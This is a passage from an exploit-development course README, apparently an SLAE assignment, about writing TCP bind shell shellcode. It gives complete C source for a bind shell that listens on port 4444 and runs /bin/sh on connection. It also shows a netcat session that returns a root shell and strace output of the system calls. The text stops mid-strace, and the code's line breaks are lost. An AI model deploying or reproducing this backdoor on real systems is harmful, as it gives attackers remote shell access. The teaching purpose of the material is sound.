README

Brett Lischalk

December 15, 2016

Contents

1 Assignment 1

1.1 Requirements

- Create a $\text{Shell}_{\text{BindTCP}}$ shellcode
  - Bind to a port
  - Execs Shell on incoming connection
- Port number should be easily configurable

1.2 Strategy

My approach to building a tcp bind shell shellcode will be to:

- Create a C program which illustrates the basic functionality
- Analyze the C program system calls to see how the program interacts with the kernel to accomplish its tasks
- Lookup the system calls and see what arguments and structures they take

- Attempt to write some assembly that calls the same system calls in the same order with the same arguments as the C program does
- Debug issues as of course there will be :)

1.3 The C program

From my experience playing around with socket programming in C and Python, there is a basic formula and group of function calls for creating clients and servers. Most of them will be useful to us. A couple won't be applicable to our situation. The functions we will find useful are:

- Socket: Open a socket over which we will communicate. Essentially a file descriptor
- Bind: Bind our socket to an interface on our system
- Listen: Tell our system that we are ready to start accepting connections
- Accept: Accept the connection. This is a necessary next step as listen will generally queue up connections in anticipation of them being accepted

Functions we won't worry about:

- Send
- Recv
- Connect
- Close

We won't worry about send or recv because they are used for managing the flow of data coming in and out and acting accordingly. We are instead going to just redirect stdin, stdout, and stderr over the socket using a function called dup2 and not worry about managing the flow of data. Since we aren't connecting to another system/server we don't need to worry about connect. And as for close, it is generally good practice to close files after your done with them but one leaked file descriptor won't hurt anyone right? We need to trim the fat!

So lets get some code going!

```
#include <stdio.h> include <netinet/in.h> define PORT 4444

int main(int argc, char **argv) { // Create a socket int lsock =
socket(AF_INET, SOCK_STREAM, 0);

  // Setup servr side config struct // We configure: // The
  family:IPv4 // The interface: 0.0.0.0 (any) // The port: port#
  struct sockaddr_in config; config.sin_family = AF_INET;
  config.sin_addr.s_addr = INADDR_ANY; config.sin_port =
  htons(PORT);

  // Bind the created socket with the interface // specified in the
  configuration bind(lsock, (struct sockaddr *)&config,
  sizeof(config));

  // Listen on the socket listen(lsock, 0);

  // Accept the incoming connection int csock = accept(lsock, NULL,
  NULL); // Redirect stdin, stdout, and stderror dup2(csock, 0);
  dup2(csock, 1); dup2(csock, 2);

  // Execute a shell execve("/bin/sh", NULL, NULL); };
```

Compiling this code with `gcc bindshell.c -o bindshell` gives us a nice executable. Running the executable with `./bindshell` and then looking at our network using `netstat -antp` yields something very interesting…

```
root@blahblah:~# netstat -atp Active Internet connections (servers and
established) Proto Local Address Foreign Address State PID/Program
name tcp *:4444 *:* LISTEN 1657/bindshell
```

Excellent! We have /bin/sh listen bound to a port. If we open up another terminal and use netcat to connect to port 4444 by running `nc -nv -nv 127.0.0.1 4444` we will get:

```
root@blahblah:~# nc -nv 127.0.0.1 4444 (UNKNOWN) [127.0.0.1] 4444 (?)
open id uid=0(root) gid=0(root) groups=0(root)
```

Perfect! We have a tcp bind shell connection. Now we have to convert this to assembly…

1.4 Analysis of the C program

We can use a tool called `strace` to help us learn more about what system calls our bind shell c program is making. Running `strace ./bindshell` and filtering filtering out the noise we will see:

```
root@blahblah:~/shared/SLAE/slae/exercise1# strace ./bindshell
execve("./bindshell", ["./bindshell"], [/* 41 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) =
listen(3, 0)                            = 0
accept(3,
```